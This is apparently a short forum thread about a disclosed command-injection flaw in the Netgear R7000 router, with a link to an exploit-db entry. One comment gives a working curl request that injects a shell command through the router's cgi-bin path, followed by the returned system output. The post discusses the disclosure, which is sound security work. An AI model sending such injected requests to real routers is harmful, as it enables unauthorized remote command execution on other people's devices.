
Netgear R7000 – Command Injection - doener
https://www.exploit-db.com/exploits/40889/
======
pinewurst
This is easily reproducible:

curl '[http://[router](http://\[router) IP]/cgi-bin/;uname$IFS-a'

returns:

Linux R7000 2.6.36.4brcmarm+ #30 SMP PREEMPT Fri Jul 1 23:06:47 CST 2016
armv7l unknown

